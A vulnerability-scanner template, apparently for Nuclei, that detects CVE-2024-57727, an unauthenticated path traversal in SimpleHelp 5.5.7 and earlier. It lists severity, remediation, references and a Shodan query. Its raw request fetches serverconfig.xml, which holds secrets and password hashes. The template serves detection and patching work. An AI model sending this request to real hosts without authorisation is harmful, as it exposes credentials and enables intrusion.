CVE-2024-57727: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal

id: CVE-2024-57727

info:
  name: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
  impact: |
    Unauthenticated attackers can exploit path traversal to download server configuration files containing secrets, hashed passwords, and other sensitive information.
  remediation: |
    Update SimpleHelp to version 5.5.8 or later to address the path traversal vulnerabilities.
  reference:
    - https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
    - https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-57727
    cwe-id: CWE-22
    epss-score: 0.95151
    epss-percentile: 0.9986
    cpe: cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
  tags: cve,cve2024,simplehelp,lfi,kev,vkev,vuln

http:
  - raw:
      - |
        GET /toolbox-resource/../serverconfig.xml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<SimpleSuite'
          - '<HashPassword>'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/octet-stream'
# digest: 4a0a00473045022032de6436d633459989cf50e45a2709f636ffc44c8b12165a986af4c6e02499df022100cea9f659eefe3c1e527ace7fbe94219cdec4f420674dce70ce4b09a671bd3438:922c64590222798bb761d5b6d8e72950

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